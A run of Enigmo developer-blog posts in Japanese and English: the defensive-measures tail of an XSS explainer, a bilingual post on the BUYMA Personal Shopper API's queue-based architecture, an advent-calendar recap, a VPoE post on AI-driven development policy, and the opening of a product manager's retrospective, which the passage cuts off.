Firewall）の導入: 通信を監視し、XSS特有のパターンを持つリクエストを遮断します。 一般ユーザー向けの対策 不審なURLをクリックしない: メールやSNSに貼られている怪しいリンク、心当たりのないURLには触れないようにしましょう。 個人情報の入力に注意する: 信頼性の低いWebサイトで、ログイン情報やクレジットカード情報を安易に入力しないよう徹底してください。 ブラウザやOSを最新に保つ: 使用しているブラウザのセキュリティアップデートをこまめに行い、常に最新のバージョンを利用します。 セキュリティソフトの導入: マルウェアや悪意のあるスクリプトの実行を検知・ブロックするウイルス対策ソフトを導入しましょう。 エニグモでのセキュリティへの取り組み 弊社が運営するBUYMAでは、ユーザーの個人情報や決済情報を扱うため、セキュリティ対策は開発フローの中心に位置づけられています。 具体的には、以下のような取り組みを行っています。 コードレビューでのセキュリティチェックは、全てのPull Requestにおいて、XSSやSQLインジェクションなどの脆弱性があるかどうか、きちんとレビューしています。 フレームワークのデフォルト機能の活用では、Ruby on Railsの html_safe や raw などの使用は最小限にし、使う場合は必ずレビューで確認しています。 静的解析ツールの導入は、Brakemanなどのツールで、CI上で自動的に脆弱性を検知する仕組みを整えています。 まとめ XSSは非常に古典的でありながら、現在でも多くのWebサイトで脅威となっているセキュリティリスクです。Webサイトを守るためには、開発者が入力・出力の処理を正しく実装することが不可欠です。また、ユーザー側も日頃からURLの確認やブラウザの更新など、基本的なセキュリティ意識を持つことが大切です。

BUYMAのPersonal Shopper API（PS-API）が、gRPC、SQS、Webhook、非同期処理を活用して、マイクロサービスとモノリスをつなぎながらスケールする仕組みを紹介します。 こんにちは、エニグモのフェルナンドです。 SELLチームに所属し、出品者向け機能の開発を担当しています。 今回は、私たちのチームで運用している「PS-API」についてご紹介します。 日々増え続けるリクエストをどのように処理しているのか、そのアーキテクチャの裏側についてお話ししたいと思います。 👉 English version is also available below. BUYMAでは、パーソナルショッパー（出品者）が商品を出品する方法がいくつかあります。 マイページ から直接商品を登録する方法もあれば、 CSVインポート を使って一括登録する方法もあります。 さらに、自社システムを運用している大規模なパートナーや事業者向けには、 Personal Shopper API（通称：PS-API） を利用した連携手段も提供しています。 運用要件によっては、より深いカスタム連携を行うケースもあります。 これらの機能を利用する出品者が増えるにつれて、PS関連システムの保守・改善は、楽しくもあり、同時にとてもチャレンジングなものになっていきました。 出品方法の概要：My Page、CSVインポート、PS-API、カスタム連携 今回は、 PS-API について紹介します。PS-APIがどのように動いているのか、なぜ非同期APIとして設計したのか、そしてマイクロサービスと大規模なモノリスをつなぐシステムを運用する中で学んだリアルな教訓について共有します。 PS-APIの目的：BUYMAのコアプラットフォームへの連携レイヤー BUYMAはマーケットプレイスであり、商品登録は出品者にとって重要な日常業務のひとつです。 大量の商品を管理している出品者にとって、1件ずつ手動で商品を登録するのはとても大きな負担になります。 CSVインポートでその負担を減らすことができますが、在庫・価格・商品情報を自社システムで管理しているパートナーにとっては、API連携が自然な選択肢になります。 そこで登場するのがPS-APIです。 PS-APIでは、出品者が以下のような操作を行えます。 商品の登録・更新 在庫やバリエーションの管理 注文情報の取得 発送依頼の処理 PS-APIは、出品者側のシステムとBUYMAのコアプラットフォームをつなぐ、強固な連携レイヤーとして機能しています。 PS-APIは、出品者システムとBUYMAのコアプラットフォームをつなぐ連携レイヤー 課題：マイクロサービスと既存モノリスの連携 BUYMAの主要な業務処理の多くは、現在もメイン環境、つまり巨大なモノリシックなシステム上で動いています。 一方で、PS-APIはモダンなマイクロサービスとして実装されています。 私は以前にサーバーレス開発の経験はありましたが、大規模なマイクロサービスアーキテクチャに本格的に関わるのはこれが初めてでした。 キュー、ワーカー、リトライ、サービス間通信、Webhook配信といった分散システムの世界に入っていくのは、本当に、とても勉強になりました。 PS-APIとBUYMAメインシステムのアーキテクチャ概要 ※ アーキテクチャは、おおまかに言うとこのような構成になっています。 ここで重要な設計思想は次の点です。 PS-APIは最終的な処理先ではない 外部システムとBUYMAのモノリスをつなぐ「オーケストレーションレイヤー」である なぜ非同期処理なのか PS-APIにおける最大の設計判断のひとつが、多くの処理を非同期にしたことです。 出品者が商品登録リクエストを送信した場合、システムはすべての処理を同期的に実行して、最終結果を即時で返すわけではありません。 代わりに、次のような流れをたどります。 リクエストを受け付ける 処理用のキューに積む（即時レスポンス） BUYMA側で後続処理を行う（ワーカーによる非同期処理） 最終結果をWebhookで返す この方式には、決定的なメリットがあります。 1. トラフィックスパイクの吸収 出品者は、ときどき大量のリクエストを一斉に送信します。 ここで言う「大量」とは、監視ダッシュボードが悲鳴を上げるレベルの量です。 非同期キューを使うことで、急激なトラフィック増加をそのままコアシステムに流し込むのではなく、一度バッファとして受け止めることができます。 リクエストは順番を待ち、システムが耐えられる制御されたペースで処理されます。 最終的な商品登録処理がBUYMAのメインシステムに依存しているため、このバッファリング層は非常に重要な役割を担っています。 非同期キューにより、外部からの大量リクエストを一度バッファリングする 2. 障害時のグレースフル・デグラデーション（確実なリカバリー） 下流システムが一時的に利用できない場合でも、出品者が同じリクエストを手動で再送する必要はありません。 リクエストは安全にキューに残り、下流システムが復旧したあとに自動で処理を再開できます。 ユーザーに「成功するまで何度もリトライしてください」とお願いするより、はるかに健全です。 アプリへの信頼を完全に失ってしまう前、システム側で吸収できることは吸収すべきです。 3. コアプラットフォームの保護 商品登録や注文関連の主要な処理は、BUYMAのモノリシックなメイン環境で実行されています。 そのため、このコアシステムを過負荷から慎重に保護する必要があります。 PS-APIが外部トラフィックを受け止め、モノリス側へリクエストを渡すペース（スループット）を制御します。 これは、マイクロサービスの柔軟性と、モノリスの安定性を両立するための設計です。 gRPCとSQS：通信方式の適材適所 PS-APIでは、すべての通信を同じ方法で扱っているわけではありません。 処理の性質、つまり即時性が必要か、耐久性が必要かに応じて、gRPCとAmazon SQSを明確に使い分けています。 gRPC gRPCは主に、即時のレスポンスが必要な内部サービス間通信で利用しています。 これは、PS-APIが現在の処理を続行する前に、信頼できる内部レスポンスを必要とするケースです。 たとえば、以下のような用途で使っています。 パートナーシステムとLive PS-API間の通信 パートナーシステムとSandbox PS-API間の通信 ブランド情報やカテゴリ情報などのマスターデータ取得 SQS 一方で、より重い業務処理にはSQSベースの非同期処理を利用しています。 たとえば、BUYMAのメインシステムと連携する以下のような処理です。 商品登録・更新 注文の発送依頼処理 なぜこの設計がうまく機能するのか gRPCとSQSを組み合わせることで、それぞれの通信方式を多様な場面で使うことができます。 gRPCは、高速な内部リクエスト・レスポンス通信に、SQSは、耐久性のある非同期業務処理に使います。 特徴 gRPC SQS（非同期キュー） 主な用途 内部サービス間の直接通信 重い業務処理、モノリス連携 処理モデル 同期的（即時レスポンス待ち） 非同期的（Event-Driven） メリット 高速、型安全（Protobuf）、明確な契約 耐久性、リトライ容易、スパイク吸収 具体例 マスターデータ（ブランド/カテゴリ）取得 商品の登録・更新、発送依頼処理 SQSとWebhookによる非同期ループの完成 重い処理はSQSを利用します。リクエストを受け付けると、ペイロードを保存し、その後の業務処理をワーカーが非同期で進めます。 重要なのは、SQSは「処理の完了イベント」にも利用されている点です。 商品登録が完了すると、その結果がキュー経由でPS-APIに返され、そこから出品者へWebhookレスポンスが送信されます。 Webhookは単なるAPIの即時レスポンスではなく、非同期処理の最終通知なのです。 gRPC、SQS、WebhookによるPS-APIの通信フロー この区別には、いくつかのメリットがあります。 BUYMAのメインシステムを急激なトラフィック増加から保護できる 多くの出品者が同時に商品更新リクエストを送った場合でも、リクエストをキューに積み、段階的に処理できます。 信頼性が向上する 下流システムの一部が一時的に利用できない場合でも、リクエストが消えてしまうことはなく、出品者がすべてを手動で再試行する必要もありません。 スケールしやすい基盤になる APIリクエストの受付、キュー処理、Webhook配信をそれぞれ個別に改善できます。 本当の課題：スケール PS-APIは当初、小規模なユースケースを想定して設計されていたため、現在のトラフィック規模にはそぐわなくなっています。 サービスの普及に伴い、APIを利用する出品者数とリクエスト数が急増しました。このスケールアップに伴い、スケーラビリティや運用面でいくつかの課題が表面化してきました。 レートリミット キューのボトルネック 処理状況の可視性 「リクエストは成功したのに、商品はどこにありますか？」という問い合わせ この最後の質問に対する答えは、時々こうなります。 “技術的には……まだキューのどこかにあります。” または、 “Webhookはエラーメッセージ付きで送信されました。” 非同期システムの運用は、設計するよりもずっと面白くなってくるのがこのあたりです。 APIを作ること自体ももちろん大変です。 しかし、リクエストが今どの処理段階にあるのかを、関係者全員が理解できるようにすることは、また別の難しさがあります。 そして多くの場合、後者の方が難しいです。 非同期システムに潜む複雑さ 外から見ると、APIリクエストはとてもシンプルに見えます。 POST /api/v1/products.json しかし内部では、実際には以下のような複雑なパイプラインが走っています。 API → バリデーション → データベース → キュー → ワーカー → ストレージ → 画像ダウンロード → 後続処理（または「下流プロセッサ」） → 完了イベント → キャッシュ無効化 → Webhook配信 APIは、単なるエンドポイントというより、空港の手荷物管理システムのようになっていきます。 システムは信頼されている。でも、リクエストが今どこにあるのかを完全に把握するのは難しい――そんな世界です。 オンプレミスからAWSへの移行 出品処理におけるデータベースのトランザクション速度を改善するうえで、大きな転機となったのがインフラのAWS移行とDBアップグレードです。AWSのリソースを活用することで、DB接続の安定性や処理性能が向上し、インポート速度も改善されました。 もちろん、AWSへ移行したりDBをアップグレードしたりしたからといって、すべてのボトルネックが簡単に消えるわけではありません。それでも、DB接続の安定性やトランザクション処理速度の改善は、非同期処理全体のパフォーマンスに大きく影響します。 今後も改善していくこと：本当の「スケール」に向けて PS-APIはもともと少数のユーザーを想定して作られていましたが、その想定も今は昔です。 現在も、出品者が安心して運用を任せられる強固な基盤を目指し、以下の領域を継続的に改善しています。 より良いレートリミット戦略の実装 リクエスト状態の可視性向上 画像ダウンロード処理の高速化とワーカーのオートスケーリング 技術的な専門知識がない出品者でも、スムーズに連携を開始できるようPS-APIドキュメントを拡充 モノリスとマイクロサービスをまたぐ運用の改善 私たちの目標は、単に大量のリクエストを「受け付ける」ことではありません。 数千件規模のスパイクにも安定して対応し、出品者のビジネスを裏から確実に支える、真に信頼できるAPIシステムへ進化させ続けることです。 注記: 本記事内の画像は、内容をわかりやすく表現するためにAIで生成したイメージ画像です。 Building for Scale: Inside the Event-Driven Architecture of the BUYMA Personal Shopper API Good day, I’m Fernand from Enigmo. I’m part of the SELL team, where I work on developing features that support sellers. This time, I’d like to talk about “PS-API,” a system operated by our team. I’ll share some insights into the architecture behind it and how we handle the continuously growing number of requests every day. At BUYMA, personal shoppers have several ways to list products on the platform. Some sellers manage listings directly from My Page . Others use CSV import for bulk operations. For larger partners and businesses that operate their own systems, we also provide integration options through the Personal Shopper API , or PS-API. In some cases, we even support deeper custom integrations depending on the seller’s operational needs. As more sellers began using these features, maintaining and improving the PS systems became both fun and challenging. Listing options: My Page, CSV import, PS-API, and custom integrations This time, I would like to introduce PS-API : how it works, why we designed it as an asynchronous API, and what we learned from operating a system that connects a microservice with a large monolithic platform. Purpose of PS-API BUYMA is a marketplace where product registration is one of the most important daily operations for sellers. For sellers managing large catalogs, manually listing products one by one quickly becomes painful. CSV import helps, but for partners that already manage inventory, pricing, and stock through their own systems, API integration becomes the natural next step. That is where PS-API comes in. It allows sellers to: create and update products manage stock and variants receive order information handle shipment requests PS-API acts as an integration layer between personal shoppers’ systems and BUYMA’s core platform. PS-API connects seller systems with BUYMA’s core platform The Challenge: When a Microservice Meets a Monolith Most of BUYMA’s core business processes still run in the main environment, which is a monolithic system. PS-API, however, was implemented as a microservice. Although I had experience with serverless development before, this was my first time working on a microservice architecture. Moving into a world of queues, workers, retries, internal service communication, and webhook delivery was very educational. Very educational... ※ The architecture looks something like this. High-level architecture of PS-API and BUYMA’s main system The key point here is: PS-API is not the final destination. It is the orchestration layer between external personal shopper systems and BUYMA’s platform. Why Asynchronous Processing One of the biggest design decisions in PS-API was to make many operations asynchronous. When a seller sends a product registration request, the system does not process everything synchronously and immediately return the final result. Instead: The request is accepted. It is queued for processing. BUYMA processes it downstream. The final result is sent back via webhook. This approach gives us several important advantages. 1. Handling Traffic Spikes Sellers sometimes send bulk requests. And by “bulk,” I mean enough requests to make the monitoring dashboard emotionally unavailable. With asynchronous queues, sudden traffic spikes can be absorbed without immediately overwhelming the core system. Requests can wait in the queue and be processed at a controlled pace. This is especially important because the final product registration still depends on BUYMA’s main system. synchronous queues buffer sudden request spikes before they reach the core platform 2. Better Failure Recovery If a downstream system is temporarily unavailable, sellers do not need to resend the same request manually. The request can remain in the queue, and processing can resume once the downstream system recovers. This is much better than asking users to keep retrying until they lose faith in the service entirely. 3. Protecting the Core Platform Because the main product registration and order processes still happen inside BUYMA’s monolithic environment, we need to protect that system carefully. PS-API absorbs external traffic and controls how requests are passed to the core platform. This allows the monolith to process requests at a safer and more predictable pace. Microservice optimism meets monolith realism. gRPC and SQS: Choosing the Right Communication Style In PS-API, not all communication is handled in the same way. Some processes require quick, direct communication between internal services. Other processes need durable asynchronous execution because they may take longer, depend on the BUYMA core platform, or require retries. For that reason, we use both gRPC and SQS, depending on the characteristics of each process. gRPC We mainly use gRPC for internal service-to-service communication where an immediate response is required. These are cases where PS-API needs a reliable internal response before continuing the current process. BUYMA Partners System ↔ Live PS-API communication BUYMA Partners System ↔ Sandbox PS-API communication Retrieving master data, such as brand data and category data Using gRPC gives us several advantages: fast internal communication clear service contracts through protobuf definitions better type safety between services predictable request-response behavior SQS For heavier business operations, we use SQS-based asynchronous processing. This includes communication with BUYMA’s main system for operations such as: product listing and update order shipment request processing These operations eventually affect BUYMA’s core platform, where product and order data are actually processed. Instead of forcing the original API request to wait until all downstream processing is complete, PS-API accepts the request, stores the payload, and lets the business process continue asynchronously. SQS is also used for process completion events. For example, after product listing or product update processing is completed, the completion result is sent back through the queue. PS-API then imports the result and sends the appropriate webhook response to the seller system. This is an important point: webhook delivery is not simply a response to the original API request. It is the final notification after asynchronous processing has completed. gRPC, SQS, and Webhook complete the asynchronous processing loop Why This Design Works Well Using gRPC and SQS together allows each communication pattern to be used where it fits best. gRPC is used for fast internal request-response communication. SQS is used for durable asynchronous business processing. This separation gives us several benefits. It protects BUYMA’s main system from sudden traffic spikes. If many sellers send product update requests at the same time, those requests can be queued and processed gradually. It improves reliability. If part of the downstream system is temporarily unavailable, requests do not simply disappear, and sellers do not need to retry everything manually. It gives us a better foundation for scaling. API request handling, queue processing, and webhook delivery can each be improved separately. This combination is one of the key reasons PS-API can operate as a bridge between external seller systems and BUYMA’s existing core platform. The Real Challenge: Scale Originally, PS-API was intended for a relatively small number of users. That assumption aged beautifully. As adoption increased, both the number of sellers and the number of requests grew significantly. With that growth came several familiar challenges: rate limits queue bottlenecks processing visibility issues inquiries like “The request succeeded, but where is my product?” The answer to that last question is sometimes: "Technically… somewhere in the queue." Or: "The webhook was already sent, along with an error message." This is where operating asynchronous systems becomes much more interesting than designing them. Building the API is one thing. Helping everyone understand the flow of request is another. And usually, that is the harder part. The Hidden Complexity of Async Systems From the outside, an API request may look simple: POST /api/v1/products.json But internally, the flow may look more like this: API → validation → database → queue → worker → storage → image download → downstream processor → completion event → cache invalidation → webhook delivery At some point, API starts looking less like an endpoint and more like airport baggage handling. Everyone trusts the system. No one is entirely sure where the suitcase is. From On-Premise to AWS One major improvement came from moving our infrastructure from on-premise servers to AWS, along with upgrading the database. This improved the transaction speed of import-related database operations. Of course, moving to AWS and upgrading the database did not magically remove every bottleneck. Software remains committed to teaching humility. However, it gave us a much stronger foundation, especially for asynchronous processing. For systems that depend heavily on queues, workers, and scalable processing capacity, infrastructure flexibility matters a lot. What We Are Still Improving Even after these improvements, scalability remains an ongoing challenge. The API layer can scale relatively well, but many core processes still depend on the main environment, where scaling is naturally more difficult. We are continuing to improve areas such as: better rate-limit strategies faster image download processing autoscaling for workers better visibility into request status smoother operations across monolith and microservice boundaries expanded PS-API documentation so that even sellers without technical expertise can smoothly start integrating with the platform The goal is not simply to accept the request. The real goal is to make PS-API a system sellers can rely on and one that can handle thousands of requests. Note: The images in this article were created using AI-generated visuals and are intended for conceptual illustration. hrmos.co

こんにちは。 エニグモ採用担当の戸井です。 普段は中途採用や採用広報を担当していますが、主にエンジニア採用を担当している関係で、エンジニア組織の「Developer Relations（DevRel）チーム」にも所属しています。 DevRelチームはエンジニア組織のアウトプット促進や勉強会の運営やイベントサポートなどを行っており、その一環としてアドベントカレンダーの運営にも携わっています。 この記事では昨年実施したアドベントカレンダー全体の振り返りと、運営の取り組みについて紹介します。 アドベントカレンダーとは？ 元々は、クリスマスまでの日数をカウントダウンするために使われるカレンダーで、12月1日からはじまり、25個ある「窓」を毎日1つずつ開けて中に入っている小さなお菓子やプレゼントを楽しむものです。 その慣習から、12月1日から25日まで毎日ブログ記事を公開するイベントとして、特にWeb業界やエンジニア界隈で広く親しまれています。 2025年のエニグモアドベントカレンダーはこちらです。 https://qiita.com/advent-calendar/2025/enigmo 2025年アドベントカレンダー全体の振り返り エニグモのアドベントカレンダーは2018年よりスタートし、2025年で開催8回目となりました。 当初はエンジニア・テック系職種を中心とした取り組みでしたが、2022年からは全社イベントとして、職種問わず誰でも参加できる形で運営しています。 参加メンバーの傾向 2025年も、エンジニアを中心にさまざまな職種のメンバーが参加しました。 （内訳） 【エンジニア職種】 サーバーサイドエンジニア、インフラエンジニア、データエンジニア、検索エンジニア、データサイエンティストなど 【ビジネス職種】 マーケティング、データアナリスト、UI/UXデザイナー、管理部門など 技術系職種を中心としつつも、データ・デザイン・コーポレートなど、複数の部門から参加があり、職種横断でのアウトプットの場となりました。 また、参加回数の観点では、初めて参加するメンバーが全体の約4割を占めていました。 一方で、複数回参加しているメンバーや皆勤賞のメンバーもおり、継続的にアウトプットの場として活用されている点も特徴です。 アドベントカレンダーを一年間の振り返りやナレッジの棚卸しの機会として活用しているメンバーも多いです。 記事のテーマ・カテゴリ 記事のカテゴリーを以下の4つに分類し、集計を行いました。 ・技術発信 ・プロジェクト紹介 ・組織・カルチャー ・入社エントリ・自己紹介 2025年は、技術発信の記事が全体の多くを占めており、エンジニアリングに関する知見の共有が中心となりました。 他にも組織やカルチャー、プロジェクト紹介、入社エントリ・自己紹介といったテーマの記事も投稿されています。 技術に限らず、個人の経験や組織の取り組みなど、多様な切り口での発信が行われたことも特徴です。　 「Advent Calendar Award」受賞記事 「Advent Calendar Award」はエニグモのアドベントカレンダーをさらに盛り上げるために実施しており、特に多く読まれた記事を表彰しています。 2025年の受賞記事は以下の通りです。 6位 アジャイルは会社ごとに別物。でも、あるあるは共通だった （BUYMA TRAVEL Webエンジニア） 5位： ローコードAIツールDifyをエンジニアが使ったら？コードブロックでハマった7つの落とし穴 （データサイエンティスト） 4位： エニグモのオンボーディング：他部署体験プログラムを紹介します！ （採用・採用広報担当） 3位： 人事からデータアナリストへ。社内公募で兼務し始めて3ヶ月の振り返り （人事兼データアナリスト） 2位： AWSにおけるコスト削減の考え方 （インフラエンジニア） 1位： Ruby on Rails アプリのパフォーマンス最適化10選 （バックエンドエンジニア） 運営の取り組み アドベントカレンダーの運営では、キックオフの実施タイミングや日々のリマインド、ガイドライン整備、執筆・レビューの進め方など、運営に関わる各プロセスを毎年アップデートしています。 また、当社のメイン事業である海外ファッションEC「BUYMA」では、年末に向けた大型セールや需要の高まりにより、12月は特にサイトへのアクセスや取引が増える時期です。 それに伴い、エンジニア側でも重要なリリースや対応が重なるタイミングとなります。 そのため、アドベントカレンダーも参加メンバー・運営側の双方にとって、無理なく継続できるよう運営を設計しています。 ここでは、こうした背景を踏まえつつ、今年特に注力した取り組みについて紹介します。 ここ2〜3年で入社したメンバーの中には、アドベントカレンダーへの参加経験がない方や、テックブログ執筆が初めての方も一定数いました。 そのため、「初めてでも参加しやすい状態をつくること」を意識しました。 具体的には、エニグモで初めてテックブログを書く方向けに、記事のテーマの考え方や執筆の進め方を解説するレクチャー会を実施しました。 レクチャー会では、以下のような内容を扱いました。 記事を書く目的の共有 テーマの考え方 記事の構成や書き方 レクチャー会の資料 テーマの考え方を説明した後は、実際に記事を書き進める際の流れについても、画面共有でデモンストレーションを行いました。 テーマ決定から情報整理、構成作成、リード文やタイトル作成までの流れをステップごとに分解し、「どのように記事を組み立てていくのか」をイメージできるようにしています。 また、ワークショップ形式を取り入れ、参加者がチームに分かれてテーマの検討や構成作成に取り組みながら、相談やディスカッションを行う時間を設けました。 ワークの中では、 * どのようなテーマを選んだか * テーマ設定で悩んだポイント * 書こうとしている内容や構成 * 書く中で詰まりそうな点 などを共有しながら進めてもらいました。 最後には全体でテーマや悩みを共有する時間も設け、他のメンバーの視点に触れることで、「自分の経験も記事になる」という実感につながるよう設計しました。 また、全体向けのレクチャーに加え、特に入社間もないメンバーに対しては個別に声がけを行い、テーマ設定や執筆の進め方についてフォローを行いました。 ショートミーティングを実施し、これまでの業務や担当プロジェクトを振り返りながら、その中にある技術的な工夫や、入社直後だからこそ気づけた改善点などをテーマとして言語化するサポートを行いました。 運営を通じた振り返り 今回は、例年の運営フローをベースにしながらも、初めて参加するメンバーへのサポートを強化したことが特徴でした。 その結果、新たに参加したメンバーが増えたことは、運営面でも大きな収穫だったと考えています。 レクチャー会に参加したものの、今回のアドベントカレンダーには参加できなかったメンバーも、「自分の経験でも記事を書けそう」「いつか書いてみたい」と感じるきっかけになっていれば、次回以降の参加につながる土台にはなっていると考えています。 アドベントカレンダーは年に一度の期間限定イベントではありますが、こうした毎年の積み重ねが、継続的なアウトプット文化を広げる大きなきっかけになると感じました。 また、今回の運用を通じて、いくつか改善したいポイントもあります。 まず、公開前のレビューが一部のメンバーに集中する場面がありました。 今後は、レビュー観点を整理したテンプレートの整備や、AIを活用したレビュー支援なども検討し、よりスムーズに進められる体制を整えていきたいと考えています。 また、アドベントカレンダーに限らず、継続的に発信しやすい状態をつくることも重要だと感じています。 そのため現在は、日常的なアウトプットを促進する仕組みづくりにも取り組んでいます。 さいごに 2025年もエニグモのアドベントカレンダーは、無事25日完走することができました。 従来の運営フローをベースにしつつ、初めて執筆するメンバーへのサポートを強化したことで、新しい参加の広がりにもつながりました。 今後も、より継続的に情報発信しやすい運営を目指していきます。 これからのエニグモ開発者ブログの発信を、ぜひご覧いただけると嬉しいです。

こんにちはVPoEの木村です。 会社として新年度を迎え少し経ちましたが、先月頭、エンジニア組織の今期以降の運営方針を社内向けに発表しました。今回はその方針について、ブログでもご紹介したいと思います。 テーマは 「AIの最大活用〜新開発フロー・体制へ移行〜」 と 「ベンチャー回帰〜ビジネス成果への直接貢献〜」 です。 先期の振り返り 　〜再確認した内製エンジニア組織としての存在意義とAIの力〜 先期を振り返る時に欠かせないトピックとしてまず挙げられるのが、大規模メンテナンスを実施し、BUYMAのインフラ基盤をオンプレからAWSへ移行したことです。 事前に最大限リスクを取り除く努力はしたものの、一定のリスクを伴うビッグバン方式での移行になりましたが、やり遂げた後としては、なんとか力技で捩じ伏せることができたようなベンチャー感を思い出す感覚がありました。 長年運営してきたサービスの癖やパターンを知り尽くし、何があってもサービスを動かし続けてきた内製エンジニア組織だからこそ採れたアプローチだと思います。 また、時間的・人員的なリソースも十分とは言えないなかでも、AIをカウントされないプロジェクトメンバーとして、移行日直前に「本当はやりたいけど時間がない」という追い込みの作業を実現したり、移設中・直後の不具合調査の高速化などに活用することができました。 AI活用についてはそれ以外にも業務面、プロダクト面にも進み、リリースできた様々な機能追加や改善を振り返ると、数年分の成果を１年に詰め込んだような実りの多い期だったと感じます。今期はそんな成功パターンを組織全体へスケールさせていくため、「AIの最大活用」と「ベンチャー回帰」をテーマに前年踏襲をやめ、ドラスティックな方針転換を図ります。 方針１：AIの最大活用 〜新開発フロー・体制へ移行〜 「AIに仕事を奪われるのでは？」という漠然とした不安を持つのではなく、「全員でAI武装し『アベンジャーズ』になろう」というのが私たちのスタンスです。AIをフル活用可能な開発フローと体制に移行していきます。 新開発フロー 単なる作業の効率化にとどまらず、再構築された価値提供のパイプラインを生み出すために、下図のとおり全く新しいAI駆動開発フローへの移行を進めます。 AI駆動開発フロー 新開発フローのステップ は以下の通りです。 設計（人間＋AI）： Notion上でドキュメント作成。Notion AIを活用してPRD、要件定義書、タスク分解・計画を生成します。 仮実装（AI単独）： ドキュメントをコンテキストとして、AIがIssueを立ててブランチ作成、実装、Pull Request作成までを完全自動化します。 本実装（人間＋AI）： 仮実装をチェックアウトし、Cursorを活用してローカルで動作確認・仕上げを実施します。 レビュー（AI→人間）： AIによる静的解析と事前レビューを通過したものだけを人間がレビューします。 本フローを構築していくにあたり、細かいツールや技術選定は詰めていく必要はあるものの、ナレッジ管理ツールとして利用していたesaと、プロジェクト管理ツールとして利用していたRedmine/JiraはNotionへ移行・統合していきます。また、コード管理・CI/CDの基盤としてセルフマネージドでGitLabを利用してきましたが、生成AIのエコシステムへの統合がより進んでいるGitHubへと移行します。 このフローでは2の仮実装という、AIにより完全自動化されたステップが組み込まれていることがポイントです。これにより下図のように実装時の調整やQAでの不具合はすべてドキュメントにフィードバックされ、ドキュメントの成熟とともにAIで完全自動化されたステップの精度が向上し、全体が省力化され続けるサイクルを構築します。 AI駆動開発成熟の仕組み 新開発体制へ また、AIの支援により、今後は誰もが「知識のフルスタック化」を実現できる時代です。1人のマネージャーが複数チームをマネジメントするのはもちろん、フロントエンドエンジニアがバックエンドも含めてリードするなど、単独でもユーザーに価値提供できる「PM兼アーキテクト」として振る舞える人材を増やしていきます。 フルスタックへの回帰・フルサイクルへの挑戦 これは これまで分業化や専門性特化のチームを作ってきた 流れからの方針転換となり、個人やチームのフルスタック化フルサイクル化を進めていきます。 方針２：ベンチャー回帰 〜ビジネス成果への直接貢献〜 AIによってデリバリー（実装）が超効率化されていく今後、エンジニアは浮いたリソースで何を目指すべきでしょうか？ その答えが「ベンチャー回帰」です（2000年代創業の弊社としては、スタートアップというよりベンチャーという言葉がしっくりきます）。 フィーチャーチームからミッションチームへ これまで、部としてはプロダクト開発のエンジニアを ドメインと呼ばれる３つのチーム に分けて運用してきており、それらは単に開発・運用する機能が割り振られた括りでしかありませんでした。　しかし今期からは、すべてのドメインがユーザーに直接届く「ビジネスミッション」を持つ体制へと方針転換します。 BUY： 購入者を強力に吸い上げ、集客とCVRを最大化する。 SELL： 世界中から商品を力強く吸い上げ、品揃えを最大化する。 SERVICE INFRA (SI)： 決済や安心補償などの機能を提供し、ユーザーへの提供付加価値を最大化する。 単なる機能開発ではなく、全員が事業のKPIに直結したミッションを追い求める。この構造こそが、私たちの目指す真のベンチャー回帰の姿です。 新キャリアラダーを設計 また、全員がビジネス成果にコミットする組織へ進化するため、エンジニアのキャリアラダー（評価軸）もアップデートしました。従来の「デリバリー」中心の評価から、以下の6つの軸による評価へと拡張しています。 アウトカム ：事業成果に接続した意思決定ができているか。 ディスカバリー ：ユーザーの課題を正しく再定義できるか。 デリバリー： 設計〜実装〜テスト〜リリースを安定して回せるか。 運用：SLO/障害/コスト/セキュリティを背負えるか。 コラボレーション（協働） ：チームビルディングや他職種との協働。 レバレッジ ： 仕組み化・標準化により、組織全体の生産性を引き上げる力。 実はこの6軸は、元々「AI時代に合わせよう」として作ったものではありません。先期の振り返りで再認識した「外部パートナーにはできない、内製エンジニア組織ならではの価値とは何か？」を徹底的に言語化した結果生まれたものです。 しかし興味深いことに、「内製組織の本質」を追求したこの6軸は、AI活用が進む時代にエンジニアに求められると思われるスキルセットとしてみても全く不自然ではありませんでした。 例えば、AIで簡単にモノが作れるようになったからこそ、「どこまでこだわるべきか」を事業成果から逆算するアウトカムや、本質的なユーザー課題を見極めるディスカバリーの重要性が増しています。また、AIには代替できない人間同士の高度なコラボレーションも不可欠です。 中でも 「レバレッジ」 は、次世代エンジニアのコアとなる概念です。日々の案件を無事にデリバリーするだけでなく、「AI駆動開発を実現し、価値提供のパイプライン自体を自分たちで構築・改善する（仕組みを創る）」ことが求められます。この仕組み作りは専任チームに任せるのではなく、各チーム自らが構築し、組織全体をブーストさせる姿勢を高く評価します。 まとめ 以上が、今期からのエンジニア組織の新しい運営方針です。 今のエニグモの環境で「事業にコミットし、AIで開発パイプライン自体を創り上げる」という経験は、 こちらの記事 でも語られているどこに行っても通用する非常に高い市場価値につながると確信しています。 この方針は決して理想を描いただけではありません。先期のAI活用の実績という裏付けがあり、NotionやGitHub、AIコーディングエージェントを全社で導入するための予算もしっかり確保してスタートしています。 「いつかできたら」ではなく「今年できる」。今期もこのスローガンを胸に、圧倒的な成果を生み出す1年に していきたいと思います。

はじめに 株式会社エニグモでプロダクトマネージャー（PdM）を務めているKNです。2025年2月に入社し、約1年が経過しました。 前職では新卒でWeb系企業にエンジニアとして入社し、3年間従事しました。 文系出身ながらAWSでのインフラ構築・メンテナンスからバックエンド・フロントエンドの開発まで、幅広く経験しました。 その後、社内転職でPdMへとキャリアをシフトし、フィンテックサービスのグロースを担当していました。 私がエニグモへの転職を決めたのは、20年続く「BUYMA」というプロダクトが持つ圧倒的な蓄積に惹かれたからです。 しかし同時に、「歴史があるがゆえに、動きが遅く、部分最適の調整に追われるのではないか」という懸念もありました。 結果として、この1年間で得られたものは予想を遥かに超えるものでした。 この記事では、エニグモで経験した学びと、20年続くプロダクトの「厚み」がもたらす価値について記します。 自身の業務領域 BUYMAは世界180カ国、22.5万人以上のパーソナルショッパー(出品者)が支える、唯一無二の「お買い物代行」プラットフォームです。 現在、私はBUYMAの 「出品者領域(SELL)」と、決済・配送・基盤を支える「サービスインフラ(SI)」 の2つを横断して担当しています。 SELL領域: 出品者がいかにストレスなく、質の高い出品を行えるか SI領域: 配送、決済、CS、経理。取引の全工程を支える「心臓部」 この2つを同時に見ることは、一見すると負荷が高いように思えます。 しかし、「出品の仕様変更が、数カ月後の経理処理やCSの問い合わせにどう影響するか」を予見しながら動く経験は、プロダクトを「機能の集合体(点)」ではなく「エコシステム(面)」として捉える視座を私に与えてくれました。 BUYMAのプロダクト開発チーム体制 入社の決め手:20年の蓄積がもたらす土壌 